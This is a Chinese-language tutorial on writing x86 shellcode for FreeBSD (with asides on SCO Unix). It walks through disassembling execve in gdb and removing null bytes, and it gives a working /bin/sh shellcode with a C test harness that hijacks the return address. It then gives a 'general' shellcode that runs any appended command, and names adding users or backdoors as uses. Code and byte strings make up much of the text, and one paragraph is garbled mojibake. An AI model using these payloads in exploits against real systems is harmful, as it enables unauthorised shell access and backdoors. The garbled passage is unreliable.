<!--StartFragment-->---[[ 前言
我第一次編寫緩沖區溢出程序時,操作系統平台是Red Hat Linux,使用的shellcode是
從互聯網上“成噸”的Linux shellcode中隨便挑選的,就是Aleph1前輩公布的
“標准shellcode”。:)後來便開始自己寫shellcode,但主要都是for
Linux的。最近在研究FreeBSD系統下的緩沖區溢出時,發現那些攻擊程序所提供的
shellcode似乎與Linux下的有所不同。(具體哪裡不同,下面會講到的。)好奇之余,
便萌發了獨立編寫FreeBSD系統下shellcode的念頭。同時也想對標准shellcode做一
些改進,算是對自己的一點點挑戰吧?#海?
在編寫FreeBSD shellcode的一天半裡,無意中發現SCO Unix系統在匯編級的處理
與FreeBSD有很多類似之處。耐不住手癢,花了不到兩個小時把shellcode for SCO也完
成了。:)由於編寫過程大同小異,關於如何在SCO
Unix下編寫shellcode,我便不再另外寫文章了。(我很會偷懶?也許吧。;))另外,
文中還介紹到了一些技巧,希望能對大家學習計算機安全技術有所裨益。
我想以後我大概是不會再寫諸如”如何編寫xxx系統下的shellcode“之類的文章了。
;)因為只要明白了整個編寫過程的原理和步驟,已經沒什麼很新鮮的了。
---[[ 准備工作
1、FreeBSD操作系統知識
2、熟悉C編程語言、匯編語言、gdb調試器(這個是hacker的最低標准!)
3、有Linux等系統平台下shellcode的經驗
4、較強的分析能力和想像力
5、牛奶、面包、餅干和音樂(呵呵,這是我的“工作套餐”。;))
(注:我的工作環境--
FreeBSD 4.0 (recompiled kernel)
gcc version 2.95.2 19991024 (release)
GNU gdb 4.18
---[[ 開始
首先,當然是了解並掌握FreeBSD是如何運行shell程序(如/bin/sh)的。
和編寫Linux系統下的shellcode一樣,創建以下程序:
/* execve.c */
#include
int main()
{
char *name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
return 0;
}
編譯,試運行:
bash-2.03$ gcc -ggdb -static -o execv execve.c
bash-2.03$ ./execv
$ exit
bash-2.03$
現在用gdb調試器跟蹤程序的執行代碼:
bash-2.03$ gdb execv
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) disass main
Dump of assembler code for function main:
0x8048160 : pushl %ebp
0x8048161 : movl %esp,%ebp
0x8048163 : subl $0x18,%esp
// 以上是函數調用時的堆棧操作
0x8048166 : movl $0x8048361,0xfffffff8(%ebp)
// 保存name字符串數組的地址
0x804816d : movl $0x0,0xfffffffc(%ebp)
// 保存NULL空字符串
0x8048174 : addl $0xfffffffc,%esp
0x8048177 : pushl $0x0
// 將0x0壓棧
0x8048179 : leal 0xfffffff8(%ebp),%eax
0x804817c : pushl %eax
// 將name字符串數組地址的地址壓棧
0x804817d : movl 0xfffffff8(%ebp),%eax
0x8048180 : pushl %eax
// 將name[0]字符串地址壓棧
0x8048181 : call 0x80481f8
// 調用execve函數
0x8048186 : addl $0x10,%esp
0x8048189 : xorl %eax,%eax
0x804818b : jmp 0x8048190
0x804818d : leal 0x0(%esi),%esi
0x8048190 : leave
0x8048191 : ret
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x80481f8 : leal 0x3b,%eax
// 系統中斷調用子功能號0x3b(execve)
0x80481fe : int $0x80
// FreeBSD系統中斷調用
0x8048200 : jb 0x80481f0
0x8048202 : ret
0x8048203 : nop
End of assembler dump.
(gdb)
如果你有Linux系統下shellcode的編寫經驗,看這段匯編代碼就不會覺得有什
麼困難,所以不再對每條匯編指令進行說明。;)(又偷懶了,xixi)
將以上匯編指令最主要的部份用簡單的描述性匯編語言表示就是:
main:
push 0x0
push address_of_address_of_/bin/sh
push address_of_/bin/sh
call execve
execve:
leal 0x3b, %eax
int $0x80
似乎和Linux差不多?當然,一些調整還是必不可少的:
(1)將"/bin/sh"字符串放到內存中;
(2)獲取"/bin/sh"在內存中的絕對地址;
(3)去掉匯編語言中的"0x00"字符。
還是和Linux下的編寫過程一樣,經以上調整後得到的匯編代碼,並將其嵌入C語言程序中:
bash-2.03$ cat execasm.c
int main()
{
__asm__
("
jmp callback
encode:
popl %esi
movl %esi,0x08(%esi)
xorl %eax,%eax
movb %al,0x07(%esi)
movl %eax,0x0c(%esi)
pushl %eax
leal 0x08(%esi),%edx
pushl %edx
pushl %esi
pushl %esi // <--為什麼???(1)
movb 0x3b,%al
int $0x80
callback:
call encode
.string \"/bin/sh\"
");
}
bash-2.03$ gcc -o execasm execasm.c
bash-2.03$
在繼續下一步前,請大家回答兩個問題:
(1)在匯編代碼段中為什麼會有兩個"pushl %esi"(絕對不是筆誤)?
(2)這個程序能否成功運行?(提示:邏輯和語法都沒有任何錯誤,編譯也順利通過了。)
對於第一個問題,只要對匯編語言和函數調用有一定了解,同時再加上一點點的細心,
就會知道答案了。正常情況下,當執行call進行函數調用時,系統會自動將返回地址
壓入堆棧中。由於在我們的程序中並未執行call指令(當然加上也可以),所以必須
再向堆棧中壓入4個字節的數據,?庋拍苁苟顏恢剛胛恢謎貳#唬┲劣谘谷胧裁詞
荩涫刀暈頤搶此得揮刑笠庖澹蛭飧龅饔貌換嵩俜禱亓恕#唬?
對於第二個問題,先讓我們來試一下,看能否運行成功:
bash-2.03$ ./execasm
Bus error (core dumped)
bash-2.03$
為什麼呢?如果使用gdb調試器調試因core dump而產生的execasm.core文件,就會發現
錯誤出現在指令"movl %esi,0x08(%esi)"處。原來esi寄存器指向的地址在代碼段,而代
碼段的內容是不允許這樣修改的!既然如此,我們把這段代碼換個位置,如何?:)
先要得到這段代碼的機器碼,方法可以用gdb或objdump,略加調整(這個交給你們自
己了;)),最終得到第一個shellcode的字符串為:
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
"\xff\xff/bin/sh"
下面來驗證一下這段shellcode。編寫以下程序:
bash-2.03$ cat shellcode1.c
char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
"\xff\xff/bin/sh";
int main()
{
int *ret;
printf("Shellcode length: %i\n", strlen(shellcode));
ret=(int *)&ret+2;
(* ret)=(int)shellcode;
}
bash-2.03$
編譯,運行:=版權所有 軟件 下載 學院 版權所有=
bash-2.03$ gcc -o shell1 shellcode1.c
bash-2.03$ ./shell1
Shellcode length: 37
$
Bingo!搞定!:)是不是很簡單?本來就很簡單。
在進入下一項內容前,給大家出幾道練習題。(如果真的想掌握這項技術的話,請完成它們。)
(1)將execasm.c中匯編程序段的機器碼找出來,並做調整(因為其中仍含有'0x00'字符)。
(2)對這段shellcode進行優化,看能不能使其更短?(如果可以的話,請貼到綠色
兵團網站之“Unix系統安全”論壇。)
(3)FreeBSD的系統調用方式有兩種,試著找出另一種方法。編寫出相應的shellcode,
並和本文的shellcode作比較。
(4)參考綠盟網絡安全技術月刊第四期《高級緩沖溢出的使用》一文,將其中的shellcode
技巧移植到FreeBSD平台下。(請抄送一份給我。:))
---[[ 進階
有shellcode編寫基礎和經驗的人,應該覺得上面這段內容是屬於“絕對的入門級”。如果
僅僅寫出這種東西,看來我以後也不要再研究計算機網絡安全技術了!現在讓我們來探討一下
如何加強shellcode的功能。
(注:本節內容雖然以FreeBSD為研究平台,但同樣適合其它系統平台。)
本來計劃在這節講一下如何將《高級緩沖溢出的使用》中的shellcode移植到FreeBSD平台
下,但考慮到技術原理和資料都大同小異,難度不大。恐有灌水之嫌,最後決定把這個作為練
習題了。;)
在標准的shellcode中,我們執行的命令是"/bin/sh",也就是希望得到一個shell環境。
在某些情況下,如無法得到shell環境(無法將輸入/輸出重定向,缺少環境變量等),或僅需
要執行一兩個命令(添加用戶或後門等),這個標准shellcode就無法滿足我們的要求了。
也許有人會說,那可以直接修改shellcode嘛。直接修改確實是一個解決方法,但每次修
改都要修改和調試其中的偏移量,比較麻煩,為什麼不能讓我們的shellcode自己完成這項任
務呢?這樣的話,我們就相當於擁有一個“通用的”shellcode了!;)
基本的技術原理是將需要運行的命令附加到shellcode後,由shellcode自已將這個命令傳
遞給系統運行。(聽起來好象也不太難。;))從C語言編程的角度來思考,就是利用
execve()函數調用。
首先,我們應該知道系統調用函數execve()的語法格式為:
int execve(const char *path, char *const argv[], char *const envp[])
即:
execve(address_of_the_command,array_of_parameters,array_of_environment_variables)
當執行這個函數時,對參數進行的堆棧和調用操作為:
push array_of_environment_variables
push array_of_parameters
push address_of_the_command
call execve
這個堆棧操作比上一節復雜不少。那麼應該傳遞什麼參數呢?我們都知道,要向sh傳遞命令時
可以使用"-c"參數。這們要利用的就是這一點。即構造下面這條命令:
/bin/sh -c "command"
+--+--+ ++ +--+--+
| | |
+ + +
argv[0] argv[1] argv[2]
此時,字符串數組為:
argv[0] --> "/bin/sh"字符串的地址
argv[1] --> "-c"字符串的地址
argv[2] --> "command"字符串的地址
0 --> NULL字符串地址
每個地址占用4字節,一共占用16個字節。對應的堆棧和調用操作為:
push 0x0
push address_of_argv[]
push address_of_argv[0]("/bin/sh")
call execve
現在的編程思路已經非常清晰了。按照上一節的調試步驟,我們很快就能夠得到以下“通用”shellcode:
"\xeb\x36" // jmp (a)
// : (b)
"\x5e" // popl %esi (c)
"\x8d\x0e" // leal (%esi), %ecx (d)
"\x31\xd2" // xorl %edx, %edx (e)
"\x88\x56\x17" // movb %dl, 0x17(%esi) (f)
"\x88\x56\x1a" // movb %dl, 0x1a(%esi) (g)
"\x89\x56\x0c" // movl %edx, 0x0c(%esi) (h)
"\x89\x56\xf5" // movl %edx, -0x0b(%esi) (i)
"\x88\x56\xfa" // movb %dl, -0x06(%esi) (j)
"\x8d\x56\x1b" // leal 0x1b(%esi), %edx (k)
"\x89\x56\x08" // movl %edx, 0x08(%esi) (l)
"\x8d\x56\x18" // leal 0x18(%esi), %edx (m)
"\x89\x56\x04" // movl %edx, 0x04(%esi) (n)
"\x8d\x5e\x10" // leal 0x10(%esi), %ebx (o)
"\x89\x1e" // movl %ebx, (%esi) (p)
"\x89\xca" // movl %ecx, %edx (q)
"\x31\xc0" // xorl %eax, %eax (r)
"\xb0\x3b" // movb 0x3b, %al (s)
"\x52" // pushl %edx (t)
"\x51" // pushl %ecx (u)
"\x53" // pushl %ebx (v)
"\x50" // pushl %eax (w)
"\x9a\x01\x01\x01\x01\x07\x01" // lcall 0x07, 0x0 (x)
// : (y)
"\xe8\xc5\xff\xff\xff" // call (z)
"aaaa" // argv[0] (address of "/bin/sh") (1)
"bbbb" // argv[1] (address of "-c") (2)
"cccc" // argv[2] (address of "command") (3)
"dddd" // argv[3] (NULL) (4)
"/bin/sh0" (5)
"-c0" (6)
""; (7)
在繼續往下看之前,希望大家能仔細閱讀以上代碼段,盡量讀懂它。
下面是一些簡要說明:
(1)--(4):用於存放各字符串的地址指針。
(5): 存放"/bin/sh"字符串。'0'是臨時編碼,將會在運行時被替換為"0x0"字符。
(6): "-c"參數字符串。'0'的意義同上。
(7): 將會被用於存放"command"命令字符串。
(a)(y)(z)(b)(c): 獲取”數據段“起始地址。
(d): argv[]字符串數組地址-->ecx寄存器。
(e)--(j): 解碼"0x00"。
(k)(l): 獲得並存放"command"的地址-->"cccc"。
(m)(n): 獲得並存放"-c"的地址-->"bbbb"。
(o)(p): 獲得並存放"/bin/sh"的地址-->"aaaa"和ebx寄存器。
(q): 構造正確的edx寄存器內容。
(r)(s): 構造正確的eax寄存器內容。
(t)-(w): 系統調用參數壓棧。